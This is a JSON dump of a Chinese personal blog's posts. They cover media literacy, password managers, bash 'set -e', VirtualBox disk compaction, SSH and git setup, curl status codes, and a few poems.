受众普遍质疑官媒的消息,但并非完全是基于内容在思考下的判断,更多属于渠道排斥。即便不翻墙,正规陆媒和墙内「门户」一定程度上也没能拼得过自媒体和民间小道消息。但筛选渠道的新闻取信态度不可能完全解决真实度问题。至少,哪些是假装成自媒体而背后有集团或政治派系操纵的信息源,大众无从得知。如果不持续加强独立判断能力的话,只能承受花样儿愚弄。 不否认的确有「新闻理想」高涨的大陆媒体人一直在辛勤工作、承受各种压力,但公众否定的是他们为之服务的单位,于是不论他们个人怎么努力也依旧无法扭转公信力的低下。除非他们能联手对抗政党对新闻的束缚。近期有大陆媒体人转行下海的消息频现,被很多公众解读为「厌恶管制」了,足见公众是多么希望他们去抗争管制呢。很遗憾,这个真没有。 或许可以这样理解,时讯「谣言」的火爆、政治八卦的魅力体现的是信息消费者的判断力被阉割,是党管新闻的结果。管制加大了获取成本和传播成本,但一定程度上并没能激发人们对自由的追求和独立判断力,而是逐渐体现出如上这般辨识力低下的状况。获取成本与渠道偏好正相关,也就是说,人们会更倾向于相信那些需要付出一定「代价」才能获知到的信息,但这点必须在成本足够大、持续时间足够长的情况下才能实现。否则更可能带来的是疲惫和厌倦。 做为接受信息不自由的中国民众,更多是在被压制和被诱惑之间辗转,我们鼓励翻墙,脱离管制和灌输,但并不是说放弃一个渠道转而投入对另一个渠道的依赖。自由之地对个体思考判断能力的要求只会更高,该如何提升信息消费者的认知能力,或许是相比优化信息环境更为现实的问题。 简要介绍一下提高认知技能的几个训练步骤: 1、识别内容。你看到的是些什么内容? 新闻被分为四种类型,其中官媒(包括所有党管治下的新闻机构)发布的是消息大多属于「肯定式新闻」、门户网站的新闻接近「断言式新闻」,新闻工作者在此只是起到了一个传声筒的作用,他们只需要背诵那些拟定好的观点和结论,不加质疑。这样的新闻不依靠准确、完整或核实来构筑公信力,只是以满足表达(或认可)一种信念为目的,而刻意选择性摘取消息的片段。「肯定式新闻」的标志是辩论文化让位于答案文化,目的是令社会稳定、看起来「井然有序」,免于争执。当然也拒绝了受众的独立思考。此外,强调准确和语境的「确证式新闻」是最传统的模式;被利益集团操控,基于特定目标和针对固定受众群体的、看起来像调查报道的新闻,是伪装成新闻的宣传。 党管下的新闻机构传递的是政党的观点,不加思考的承载官方叙事版本,空话连篇。即便没有通稿的要求和禁令的束缚,很多记者也越来越懒得亲自去查明事实,而是只凭直觉就接收他人的二手甚至三手消息。于是整体上给信息消费者的印象是新闻离事实越来越远,逐渐变成了另一种形式的舆论。而社交网络、博客和自媒体等新传播形式有可能使用上述任何一种模式来生产新闻。 真正通过核实的消息,信源会呈现多样化,记者(发布者)对各种信源保持着怀疑态度,并非停留在对信息表面的陈述,而是倾向于继续挖掘。 2、信息细节的充分性。你看到的这篇报道完整吗?如果不完整,它缺了什么? 对完整性的检验涉及信息源、证据和潜在的偏见。新闻的缺陷是碎片化,本身缺乏完整性,信息消费者应该首先注意到的是「它提供了什么事实」,基于这些事实的证据是否充分,如果不能充分,则不可确信。由于「断言式新闻」的时效性较高,它提供的肯定只是片段,判断则需要将多方面的片段尽可能拼凑完整后再加以分析。而对于「肯定式新闻」来说,因为它急于呈现的是一个观点和论断,多半没有足够的事实,或没有仔细辨认过证据的真实性。 3、评估信息源。传出信息的人是谁?为什么可以相信他们? 具体人名、身份对于判断来说只是一个很小的元素,关键在于这些人(信息源)是否真的掌握了信息。记者对信息源的选择不能夹带任何目的,媒体人考证信息源的积极性是新闻可信度的标志。采集到的是否一手信息?如果不是,中间隔了哪些环节?它们都足够可信吗?如果媒体人没能给公众呈现出这些疑点,便很容易形成误导或被聪明的消费者质疑。 有些时候信息消费者可以看到采访过程实录,需要注意的是记者的提问内容,究竟问的是事实,还是在寻求观点。如果是后者,则需要针对性思考,而不是仅凭直觉接收。如果发现记者在借助一系列对事实的追问,有目的的引导受访对象表现出媒体预期的态度,那就不叫采访,而是说服。 4、评估证据。哪些才是证据? 观察和理解不是一回事,后者是个体基于前者加入了个人经验或感受后得出的结论,是「我感觉」,而不是「我看到」;推断和实据也不是一回事,自媒体渠道经常见到这种影响,令受众将推测结论和事实混淆在一起,认知被干扰。如果信息源是有目的地(比如党宣或被利益集团、政治派系所操控的,伪装的自媒体或新媒体),则会给信息消费者带来误导。 5、还有其他可能性或解释吗?都是些什么? 如上述新闻分类,目前最常见到的是「断言式新闻」和「肯定式新闻」,它们不是以展示事实为根本的,事实只是宣传目标的附属品。那些未经核查的事物,不论其准确与否都属于断言,报道的目的是暗示和影响,而不是呈现。 如果信息消费者发现记者在采访中只是「给受访对象一个说话的机会,说出他们想说的话」,而不是尝试核实和质疑结论,那很可能无法确保是真实的。单个数据只能暗示事实,而无法确定事实,如果你看到的只是单一信息源发布的单一数据,便可以怀疑是基于宣传目的所做的「证据筛选」,在「肯定式新闻」中很常见。 排斥掉那些试图影响你的结论及证据,试着反问:还有其他可能性吗?哪一个更可能?或许有必要重复一下:这些新闻模式并非官媒和门户网站所独有。 6、筛选题材。你得到了真正需要的新闻内容吗? 信息轰炸时代,各种渠道的新闻铺天盖地,对受众个体来说,那些东西真的都是你需要的吗? 你可能漏掉了什么,有没有发现一些消息里隐藏着对民生影响较大的意义?也可能过多接收了一些没有价值的纯宣传,还可能它们被误导了,这是比浪费时间更大的损失。基于上述,信息消费者应该明白自己究竟需要些什么题材的信息,以及对自己的预期而言哪些获取渠道更靠谱?获知有没有片面,如何将那些碎片拼凑到趋于完整?过滤掉重复的内容,避免被有目的的影响,做一个聪明的信息消费者。 篇幅有限,本文没有选取实例来分析。如果你学会了这些判断方法,不妨试用一下,它们并不复杂,谨慎取信只是个习惯问题。","categories":[],"tags":[]},{"title":"《密码疲劳》读后感","slug":"all-about-password","date":"2015-08-18T19:53:53.000Z","updated":"2022-11-08T12:47:15.844Z","comments":true,"path":"2015/08/19/all-about-password/","link":"","permalink":"https://ajasonwang.github.io/2015/08/19/all-about-password/","excerpt":"今天有幸拜读阮大神昨天写的文章 密码疲劳 颇有感触 一来各种重要的网银密码容易忘记的问题在信息社会是越来越重要,几乎所有的年轻人都无法回避这个问题; 二来几年时间自己已经成为资深网虫,注册的网站不计其数了,忘记密码是常有的事。","text":"今天有幸拜读阮大神昨天写的文章 密码疲劳 颇有感触 一来各种重要的网银密码容易忘记的问题在信息社会是越来越重要,几乎所有的年轻人都无法回避这个问题; 二来几年时间自己已经成为资深网虫,注册的网站不计其数了,忘记密码是常有的事。 自从CSDN密码泄露事件之后,又陆陆续续有2000W开房数据信息泄露,然后就是携程事件,一个接着一个。。。我也有幸知道了创宇,知道了 乌云 ,不得不说互联网时代,所有的公司都必须面对网站安全的问题,看看乌云爆出的一些漏洞中,有很多case严重到足够摧毁一家公司业务了,此处省略一万字吧 如今想想,当初看了 月光博客 的文章,养成了一个好的习惯是多么及时,有了lastpass,keepass等好用的工具软件,现在已经几乎没有忘记密码的烦恼了。否则,只怕是生活中各种不便,或者被各种论坛拖库事件间接伤害了。其中我在一个公开的网站还特地去检查过,验证了我的天涯密码泄露了,当时输入天涯用户名看到自己的密码明文显示在页面,如此轻易被查到,还是吓一跳啊 推荐几篇关于密码安全的文章,当然凡事没有绝对,再牛的密码遇到网站明文存储也是毫无安全可言 个人密码安全策略 设计自己的密码规则,实现强壮的自我保护 常用个人密码管理软件","categories":[{"name":"文章","slug":"文章","permalink":"https://ajasonwang.github.io/categories/%E6%96%87%E7%AB%A0/"}],"tags":[{"name":"安全","slug":"安全","permalink":"https://ajasonwang.github.io/tags/%E5%AE%89%E5%85%A8/"}]},{"title":"linux中的set命令: set -e 与 set -o pipefail ","slug":"linux-set--e","date":"2015-08-07T06:04:04.000Z","updated":"2022-11-08T12:47:15.875Z","comments":true,"path":"2015/08/07/linux-set--e/","link":"","permalink":"https://ajasonwang.github.io/2015/08/07/linux-set--e/","excerpt":"工作中经常在shell脚本中看到set的这两个用法,但就像生活中的很多事情,习惯导致忽视,直到出现问题才引起关注。 1. set -eset命令的-e参数,linux自带的说明如下: “Exit immediately if a simple command exits with a non-zero status.” 也就是说,在”set -e”之后出现的代码,一旦出现了返回值非零,整个脚本就会立即退出。有的人喜欢使用这个参数,是出于保证代码安全性的考虑。但有的时候,这种美好的初衷,也会导致严重的问题。","text":"工作中经常在shell脚本中看到set的这两个用法,但就像生活中的很多事情,习惯导致忽视,直到出现问题才引起关注。 1. set -eset命令的-e参数,linux自带的说明如下: “Exit immediately if a simple command exits with a non-zero status.” 也就是说,在”set -e”之后出现的代码,一旦出现了返回值非零,整个脚本就会立即退出。有的人喜欢使用这个参数,是出于保证代码安全性的考虑。但有的时候,这种美好的初衷,也会导致严重的问题。 真实案例:脚本a.sh开头使用了”set -e”,且能正常运行。在几个月或更久以后,因需求升级,在脚本中增加了3行hadoop操作: 1234567#!/bin/bashset -e.../home/work/.../hadoop dfs -rmr /app/.../dir/home/work/.../hadoop dfs -mkdir /app/.../dir/home/work/.../hadoop dfs -put file_1 /app/.../dir/... 这几行hadoop命令逻辑很简单:在hdfs上清除并新建一个目录,并将一份本地文件推送至这个目录,供后续使用。将这几行单拎出来,在命令行下执行,除了提示待删除的目录不存在,并没有什么问题,文件还是会被推送到指定的地方。 但第一次执行这个脚本的时候,却失败退出了,且导致调用该脚本的程序整体退出,造成了严重的后果。原因是hdfs上还没有这个目录,rmr这一行会返回255,这个值被脚本前方的”set -e”捕捉到,直接导致了脚本退出。 新增的代码本身并没有问题,先删除再新建目录,反而是保证数据安全的比较规范的操作,删除命令本身的容错性,可以保证后续命令正常执行。事实是这个脚本有好几百行,且逻辑比较复杂,在增加这几行代码的时候,开发人员已经不记得这个脚本里还有个”set -e”埋伏着了。 可见设置”set -e”,在脚本开发过程中可能很有帮助,而在开发完成后,特别是对于后期可能有升级的脚本,则可能是埋下了安全隐患。 2. set -o pipefail对于set命令-o参数的pipefail选项,linux是这样解释的: “If set, the return value of a pipeline is the value of the last (rightmost) command to exit with a non-zero status,or zero if all commands in the pipeline exit successfully. This option is disabled by default.” 设置了这个选项以后,包含管道命令的语句的返回值,会变成最后一个返回非零的管道命令的返回值。听起来比较绕,其实也很简单: 1234# test.shset -o pipefaills ./a.txt |echo "hi" >/dev/nullecho $? 运行test.sh,因为当前目录并不存在a.txt文件,输出:ls: ./a.txt: No such file or directory1 #设置了set -o pipefail,返回从右往左第一个非零返回值,即ls的返回值1 注释掉set -o pipefail这一行,再次运行,输出:ls: ./a.txt: No such file or directory0 # 没有set -o pipefail,默认返回最后一个管道命令的返回值","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://ajasonwang.github.io/tags/Linux/"}]},{"title":"virtualbox压缩vdi硬盘","slug":"shrink-virtualbox-disk-file","date":"2015-08-04T01:09:09.000Z","updated":"2022-11-08T12:47:15.894Z","comments":true,"path":"2015/08/04/shrink-virtualbox-disk-file/","link":"","permalink":"https://ajasonwang.github.io/2015/08/04/shrink-virtualbox-disk-file/","excerpt":"查看虚拟硬盘(固定大小)信息: “C:\\Program Files\\Oracle\\VirtualBox\\VBoxManage.exe” showhdinfo win10.vdiUUID: 36524650-f833-4cbd-ac82-899603ae2f4cParent UUID: baseState: createdType: normal (base)Location: C:\\Users\\YOURNAME\\VirtualBox VMs\\Win10\\Win10.vdiStorage format: VDIFormat variant: fixed defaultCapacity: 51200 MBytesSize on disk: 51048 MBytesEncryption: disabledIn use by VMs: Win10 (UUID: f3dc93e9-d91e-4078-8a9f-0cdd811b0552)","text":"查看虚拟硬盘(固定大小)信息: “C:\\Program Files\\Oracle\\VirtualBox\\VBoxManage.exe” showhdinfo win10.vdiUUID: 36524650-f833-4cbd-ac82-899603ae2f4cParent UUID: baseState: createdType: normal (base)Location: C:\\Users\\YOURNAME\\VirtualBox VMs\\Win10\\Win10.vdiStorage format: VDIFormat variant: fixed defaultCapacity: 51200 MBytesSize on disk: 51048 MBytesEncryption: disabledIn use by VMs: Win10 (UUID: f3dc93e9-d91e-4078-8a9f-0cdd811b0552) 修改固定大小的虚拟硬盘为动态分配存储的硬盘,可以看到操作后Format variant变成dynamic default: “C:\\Program Files\\Oracle\\VirtualBox\\VBoxManage.exe” modifyhd Win10.vdi -type normal 下面开始磁盘空间压缩,方法是这样: 1,在guest os 中清理系统, windows的话可以再硬盘碎片整理一下 2,在 guest os 中 使用 sdelete -z; linux 使用 zerofree 3,”C:\\Program Files\\Oracle\\VirtualBox\\VBoxManage.exe” modifyhd | –compact 第一次尝试之后发现这个操作对减小vdi文件体积的作用不明显,于是我关闭了虚拟机系统盘的bitlocker然后再按照步骤123来了一遍,并且第二步加了个参数 sdelete -c -z 然后,50G的VDI大小变成了20G左右,目前还不确定是bitlocker未关闭还是-c这个参数造成的第一次尝试失败,神奇Oracle! over","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"虚拟化","slug":"虚拟化","permalink":"https://ajasonwang.github.io/tags/%E8%99%9A%E6%8B%9F%E5%8C%96/"}]},{"title":"Github gitee 在同一台机器设置SSH密钥","slug":"github-gitcafe-sshkey","date":"2015-04-25T18:22:22.000Z","updated":"2022-11-08T12:47:15.866Z","comments":true,"path":"2015/04/26/github-gitcafe-sshkey/","link":"","permalink":"https://ajasonwang.github.io/2015/04/26/github-gitcafe-sshkey/","excerpt":"想想自己以前把博客同步到github和gitee不停地敲重复命令的方法就是醉了 我的机器是Windows7,对应的~/.ssh目录就是C:\\Users\\yourname\\.ssh cd C:\\Users\\yournamemd .sshcd .ssh","text":"想想自己以前把博客同步到github和gitee不停地敲重复命令的方法就是醉了 我的机器是Windows7,对应的~/.ssh目录就是C:\\Users\\yourname\\.ssh cd C:\\Users\\yournamemd .sshcd .ssh 添加一个config文件并加入以下内容 Host github.com User git Hostname github.com IdentityFile ~/.ssh/github TCPKeepAlive yes IdentitiesOnly yes 生成新的SSH 秘钥 for gitee: ssh-keygen -t rsa -C "[email protected]" -f gitee for github: ssh-keygen -t rsa -C "[email protected]" -f github for coding.net: ssh-keygen -t rsa -C "[email protected]" -f coding_net 1、用文本工具打开公钥文件*.pub ,复制里面的所有内容到剪贴板。 2、进入对应账户设置–>SSH 公钥管理设置项,点击添加新公钥 按钮,在 Title 文本框中输入任意字符。 3、在 Key 文本框粘贴刚才复制的公钥字符串,按保存按钮完成操作。 4、测试 C:\\Users\\sa\\.ssh 的目录 2016/12/13 08:42 <DIR> . 2016/12/13 08:42 <DIR> .. 2016/12/13 08:40 1,675 github 2016/12/13 08:40 402 github.pub 2016/12/13 08:42 1,679 coding_net 2016/12/13 08:42 402 coding_net.pub 2016/12/13 08:35 410 known_hosts 6 个文件 4,680 字节 2 个目录 29,375,688,704 可用字节 sa@DESKTOP-OK6H1D8 C:\\Users\\sa\\.ssh $ ssh -T [email protected] -i github Warning: Permanently added the RSA host key for IP address '192.30.253.112' to the list of known hosts. Hi ajasonwang! You've successfully authenticated, but GitHub does not provide shell access. sa@DESKTOP-OK6H1D8 C:\\Users\\sa\\.ssh $ ssh -T [email protected] -i id_rsa Hello ajasonwang! You've connected to Coding.net via SSH successfully! 成功。 5、同时部署到github,gitee的命令和设置 git push github master:master git push gitee master:gitee-pages git push coding_net master:master 下面是我的git配置文件: [core] repositoryformatversion = 0 filemode = false bare = false logallrefupdates = true symlinks = false ignorecase = true hideDotFiles = dotGitOnly [remote "github"] url = [email protected]:ajasonwang/myhexoblog.git fetch = +refs/heads/*:refs/remotes/github/* [remote "coding_net"] url = [email protected]:ajasonwang/myhexoblog.git fetch = +refs/heads/*:refs/remotes/coding_net/* [remote "gitee"] url = [email protected]:ajasonwang/myhexoblog.git fetch = +refs/heads/*:refs/remotes/gitee/* [branch "master"] remote = github merge = refs/heads/master","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"gitee","slug":"gitee","permalink":"https://ajasonwang.github.io/tags/gitee/"}]},{"title":"安全上网工具","slug":"security-tools","date":"2015-04-22T15:12:12.000Z","updated":"2022-11-08T12:47:15.891Z","comments":true,"path":"2015/04/22/security-tools/","link":"","permalink":"https://ajasonwang.github.io/2015/04/22/security-tools/","excerpt":"关于安全上网的专题,墙内可以关注月光博客 安全专区 强烈推荐普通人看看这篇文章 设计自己的密码规则,实现强壮的自我保护 更专业一点的,推荐 乌云知识库 这个看起来难度有点大 墙外自不必说,文章就太多了,推荐 编程随想 这个需要翻墙,你懂的","text":"关于安全上网的专题,墙内可以关注月光博客 安全专区 强烈推荐普通人看看这篇文章 设计自己的密码规则,实现强壮的自我保护 更专业一点的,推荐 乌云知识库 这个看起来难度有点大 墙外自不必说,文章就太多了,推荐 编程随想 这个需要翻墙,你懂的 大概从毕业的时候起就一直关注月光博客,小众软件,善用佳软,对于安全类工具软件一直有不断尝鲜,但是很多用过之后发现不是自己想要的,或者是收费的,所以一段时间之后就删除了,所以至今保留下来的都是典藏版,今天总结一下。 按重要性优先级排序: 1,网银密码 这个必须脑力记忆,不过也是有技巧的 2,重要网站密码,譬如社保查询之类的 keepass 支持linux,加密文件可以通过网盘同步 linux下面使用的时候中文字体会变成方框,这个待解决 3,一般性网站 lastpass 普通版本就够用,支持IE Chrome插件自动填充,不过不建议特别重要的密码用这个保存 花密 从此上论坛再也不担心密码泄露了 4,邮件安全 这个嘛,终极方案还是PGP咯,gmail再好终究只是传输加密,内容还是容易暴露的,推荐:Chrome插件Mailvelope,PC端:gpg4usb 5,IM安全 鉴于99.9999%的同学只知道QQ,99.8888%的同学只知道QQ/MSN/SKYPE,我用的Pidgin加otr插件就显得太小众了,不过这个亲测加密有效,加密的聊天内容传输到手机端看到的会是乱码,从此再也不担心网管监控了 6,VPN (这个其实是另一个话题了) 关于翻墙的软件和相关话题实在太多了,不一一赘述。不过很多人最大的疑问是:翻墙干什么?呵呵,我想说,当你想看些高端一点的视频教程但是百度却发现找不到资源的时候,上Youtube的体验会让你惊喜。 暂时只想到这么多。","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Security","slug":"Security","permalink":"https://ajasonwang.github.io/tags/Security/"}]},{"title":"curl http_code 状态码及意义","slug":"curl-http_code","date":"2015-03-31T17:41:41.000Z","updated":"2022-11-08T12:47:15.845Z","comments":true,"path":"2015/04/01/curl-http_code/","link":"","permalink":"https://ajasonwang.github.io/2015/04/01/curl-http_code/","excerpt":"shell代码: curl -I -m 10 -o /dev/null -s -w %{http_code} http://test.com curl爬取过程中,会返回一个http_code,下面是他们的意义信息: 100:继续 客户端应当继续发送请求。客户端应当继续发送请求的剩余部分,或者如果请求已经完成,忽略这个响应。101: 转换协议 在发送完这个响应最后的空行后,服务器将会切换到在Upgrade 消息头中定义的那些协议。只有在切换新的协议更有好处的时候才应该采取类似措施。102:继续处理 由WebDAV(RFC 2518)扩展的状态码,代表处理将被继续执行。200:请求成功 处理方式:获得响应的内容,进行处理201:请求完成,结果是创建了新资源。新创建资源的URI可在响应的实体中得到 处理方式:爬虫中不会遇到202:请求被接受,但处理尚未完成 处理方式:阻塞等待204:服务器端已经实现了请求,但是没有返回新的信 息。如果客户是用户代理,则无须为此更新自身的文档视图。 处理方式:丢弃","text":"shell代码: curl -I -m 10 -o /dev/null -s -w %{http_code} http://test.com curl爬取过程中,会返回一个http_code,下面是他们的意义信息: 100:继续 客户端应当继续发送请求。客户端应当继续发送请求的剩余部分,或者如果请求已经完成,忽略这个响应。101: 转换协议 在发送完这个响应最后的空行后,服务器将会切换到在Upgrade 消息头中定义的那些协议。只有在切换新的协议更有好处的时候才应该采取类似措施。102:继续处理 由WebDAV(RFC 2518)扩展的状态码,代表处理将被继续执行。200:请求成功 处理方式:获得响应的内容,进行处理201:请求完成,结果是创建了新资源。新创建资源的URI可在响应的实体中得到 处理方式:爬虫中不会遇到202:请求被接受,但处理尚未完成 处理方式:阻塞等待204:服务器端已经实现了请求,但是没有返回新的信 息。如果客户是用户代理,则无须为此更新自身的文档视图。 处理方式:丢弃 300:该状态码不被HTTP/1.0的应用程序直接使用, 只是作为3XX类型回应的默认解释。存在多个可用的被请求资源。 处理方式:若程序中能够处理,则进行进一步处理,如果程序中不能处理,则丢弃301:请求到的资源都会分配一个永久的URL,这样就可以在将来通过该URL来访问此资源 处理方式:重定向到分配的URL302:请求到的资源在一个不同的URL处临时保存 处理方式:重定向到临时的URL304:请求的资源未更新 处理方式:丢弃400:非法请求 处理方式:丢弃401:未授权 处理方式:丢弃403:禁止 处理方式:丢弃404:没有找到 处理方式:丢弃500:服务器内部错误 服务器遇到了一个未曾预料的状况,导致了它无法完成对请求的处理。一般来说,这个问题都会在服务器端的源代码出现错误时出现。501:服务器无法识别 服务器不支持当前请求所需要的某个功能。当服务器无法识别请求的方法,并且无法支持其对任何资源的请求。502:错误网关 作为网关或者代理工作的服务器尝试执行请求时,从上游服务器接收到无效的响应。503:服务出错 由于临时的服务器维护或者过载,服务器当前无法处理请求。这个状况是临时的,并且将在一段时间以后恢复。","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://ajasonwang.github.io/tags/Linux/"}]},{"title":"love page","slug":"love-page","date":"2015-02-24T01:09:09.000Z","updated":"2022-11-08T12:47:15.880Z","comments":true,"path":"2015/02/24/love-page/","link":"","permalink":"https://ajasonwang.github.io/2015/02/24/love-page/","excerpt":"","text":"发现一个充满“爱”的页面,于是果断把代码保存下来并且做了同步 github coding.net 还有个有情怀的程序员发了个玫瑰花,今天也补上 github coding.net","categories":[{"name":"文章","slug":"文章","permalink":"https://ajasonwang.github.io/categories/%E6%96%87%E7%AB%A0/"}],"tags":[{"name":"Special","slug":"Special","permalink":"https://ajasonwang.github.io/tags/Special/"}]},{"title":"linux find xargs print0","slug":"linux-find-xargs-print0","date":"2015-02-16T13:37:37.000Z","updated":"2022-11-08T12:47:15.874Z","comments":true,"path":"2015/02/16/linux-find-xargs-print0/","link":"","permalink":"https://ajasonwang.github.io/2015/02/16/linux-find-xargs-print0/","excerpt":"今天看到一个shell脚本,里面有一句 find . -type f -name ‘list*’ -print0 | xargs -0 rm 很不理解为什么 -print0 | xargs -0 rm为什么都要有个0?","text":"今天看到一个shell脚本,里面有一句 find . -type f -name ‘list*’ -print0 | xargs -0 rm 很不理解为什么 -print0 | xargs -0 rm为什么都要有个0? 原来xargs 默认是以空白字符来做分割的,当执行rm时候,如果查找出来的文件名中有空格,那就容易把类似于 test 1.php 当做test 和 1.php来删除。 为了解决这个问题,在打印出每一条记录后,在后面输入一个结束符,代替原来的换行符,然后再以换行符来分割每一条记录,就会保证每一条的唯一性。 为什么不用-exec,而用xargs ?因为find会把找到的记录都给后面的命令传过去执行,-exec有长度限制,可能会出现参数溢出。","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Linux","slug":"Linux","permalink":"https://ajasonwang.github.io/tags/Linux/"}]},{"title":"git 放弃本地修改","slug":"git-reset","date":"2014-12-29T12:42:42.000Z","updated":"2022-11-08T12:47:15.864Z","comments":true,"path":"2014/12/29/git-reset/","link":"","permalink":"https://ajasonwang.github.io/2014/12/29/git-reset/","excerpt":"","text":"备忘: git checkout . #本地所有修改的。没有的提交的,都返回到原来的状态git checkout – . #同上git stash #把所有没有提交的修改暂存到stash里面。可用git stash pop回复。git reset –hard HASH #返回到某个节点,不保留修改。git reset –soft HASH #返回到某个节点。保留修改","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Git","slug":"Git","permalink":"https://ajasonwang.github.io/tags/Git/"}]},{"title":"致橡树","slug":"zhixiangshu","date":"2014-12-27T11:49:49.000Z","updated":"2022-11-08T12:47:15.907Z","comments":true,"path":"2014/12/27/zhixiangshu/","link":"","permalink":"https://ajasonwang.github.io/2014/12/27/zhixiangshu/","excerpt":"我如果爱你—— 绝不像攀援的凌霄花, 借你的高枝炫耀自己: 我如果爱你—— 绝不学痴情的鸟儿, 为绿荫重复单调的歌曲;","text":"我如果爱你—— 绝不像攀援的凌霄花, 借你的高枝炫耀自己: 我如果爱你—— 绝不学痴情的鸟儿, 为绿荫重复单调的歌曲; 也不止像泉源, 常年送来清凉的慰籍; 也不止像险峰,增加你的高度,衬托你的威仪。 甚至日光。 甚至春雨。 不,这些都还不够! 我必须是你近旁的一株木棉, 做为树的形象和你站在一起。 根,紧握在地下, 叶,相触在云里。 每一阵风过, 我们都互相致意, 但没有人 听懂我们的言语。 你有你的铜枝铁干, 像刀,像剑, 也像戟, 我有我的红硕花朵, 像沉重的叹息, 又像英勇的火炬, 我们分担寒潮、风雷、霹雳; 我们共享雾霭流岚、虹霓, 仿佛永远分离, 却又终身相依, 这才是伟大的爱情, 坚贞就在这里: 不仅爱你伟岸的身躯, 也爱你坚持的位置,脚下的土地。","categories":[{"name":"诗歌","slug":"诗歌","permalink":"https://ajasonwang.github.io/categories/%E8%AF%97%E6%AD%8C/"}],"tags":[{"name":"心情","slug":"心情","permalink":"https://ajasonwang.github.io/tags/%E5%BF%83%E6%83%85/"}]},{"title":"四月的黄昏","slug":"April-twilight","date":"2014-12-26T19:13:13.000Z","updated":"2022-11-08T12:47:15.840Z","comments":true,"path":"2014/12/27/April-twilight/","link":"","permalink":"https://ajasonwang.github.io/2014/12/27/April-twilight/","excerpt":"四月的黄昏 流曳着一组组绿色的旋律 在峡谷低回 在天空游移 要是灵魂里溢满了回响 又何必苦苦寻觅 要歌唱你就歌唱吧,但请 轻轻,轻轻,温柔地","text":"四月的黄昏 流曳着一组组绿色的旋律 在峡谷低回 在天空游移 要是灵魂里溢满了回响 又何必苦苦寻觅 要歌唱你就歌唱吧,但请 轻轻,轻轻,温柔地 四月的黄昏 好像一段失而复得的记忆 也许有一个约好 至今尚未如期 也许有一次热恋 永不相许 要哭泣你就哭泣吧,让泪水 流呵,流呵,默默地","categories":[{"name":"诗歌","slug":"诗歌","permalink":"https://ajasonwang.github.io/categories/%E8%AF%97%E6%AD%8C/"}],"tags":[{"name":"心情","slug":"心情","permalink":"https://ajasonwang.github.io/tags/%E5%BF%83%E6%83%85/"}]},{"title":"《教父》里的人生观","slug":"god-father-s-outlook-on-life","date":"2014-12-10T06:24:24.000Z","updated":"2022-11-08T12:47:15.867Z","comments":true,"path":"2014/12/10/god-father-s-outlook-on-life/","link":"","permalink":"https://ajasonwang.github.io/2014/12/10/god-father-s-outlook-on-life/","excerpt":"","text":"《教父》里的人生观: 第一步要努力实现自我价值,第二步要全力照顾好家人,第三步要尽可能帮助善良的人,第四步为族群发声,第五步为国家争荣誉。 事实上作为男人,前两步成功,人生已算得上圆满,做到第三步堪称伟大,而随意颠倒次序的那些人,一般不值得信任。","categories":[{"name":"文章","slug":"文章","permalink":"https://ajasonwang.github.io/categories/%E6%96%87%E7%AB%A0/"}],"tags":[{"name":"朝花夕拾","slug":"朝花夕拾","permalink":"https://ajasonwang.github.io/tags/%E6%9C%9D%E8%8A%B1%E5%A4%95%E6%8B%BE/"}]},{"title":"GitCafe 迁移","slug":"gitcafe-qianyi","date":"2014-12-09T15:03:03.000Z","updated":"2022-11-08T12:47:15.865Z","comments":true,"path":"2014/12/09/gitcafe-qianyi/","link":"","permalink":"https://ajasonwang.github.io/2014/12/09/gitcafe-qianyi/","excerpt":"","text":"今天把博客内容镜像到GitCafe了,据说墙内的访问速度比github快一点。现在有两个域名: ajasonwang.github.io ajasonwang.gitcafe.io 至于两个地址怎么完全同步,有空再研究。","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"GitHub","slug":"GitHub","permalink":"https://ajasonwang.github.io/tags/GitHub/"}]},{"title":"今天的网站访问记录","slug":"access-log-for-this-blog","date":"2014-12-09T07:35:35.000Z","updated":"2022-11-08T12:47:15.842Z","comments":true,"path":"2014/12/09/access-log-for-this-blog/","link":"","permalink":"https://ajasonwang.github.io/2014/12/09/access-log-for-this-blog/","excerpt":"","text":"今天看了一下网站访问记录,艾玛心情有点小激动 简单介绍一下: 1, 看到阮大神的文章之后萌生了搞个jekyll博客玩一玩的想法,详情 戳我; 2, 熟悉了一下git/github的操作; 3, 稍微了解了一点ror的知识,jekyll其实没搞懂; 4, 写着写着,觉得好土,当年在学校没学好出来也没练级,惭愧。。。怎么练级其实也有酷壳的大神指导,就是没去坚持,详情 戳我; 5,以后再继续。","categories":[{"name":"技术","slug":"技术","permalink":"https://ajasonwang.github.io/categories/%E6%8A%80%E6%9C%AF/"}],"tags":[{"name":"Google","slug":"Google","permalink":"https://ajasonwang.github.io/tags/Google/"}]},{"title":"今天尝试了Google Adsense","slug":"googleadsense","date":"2014-12-08T03:21:21.000Z","updated":"2022-11-08T12:47:15.869Z","comments":true,"path":"2014/12/08/googleadsense/","link":"","permalink":"https://ajasonwang.github.io/2014/12/08/googleadsense/","excerpt":"今天尝试了Google Adsense,发现比较好用,大家有没有发现页面底下的广告,是不是很烦人啊,忽略就是。。。","text":"今天尝试了Google Adsense,发现比较好用,大家有没有发现页面底下的广告,是不是很烦人啊,忽略就是。。。 话说,我从没想过要赚点击率,也没指望靠这个赚钱,毕竟不是人人都是 龙威廉,卢松松 嘛。。。 另外想吐槽的就是,谷歌的全系列服务全部要靠翻墙才能访问,去你妹的GFW!!! 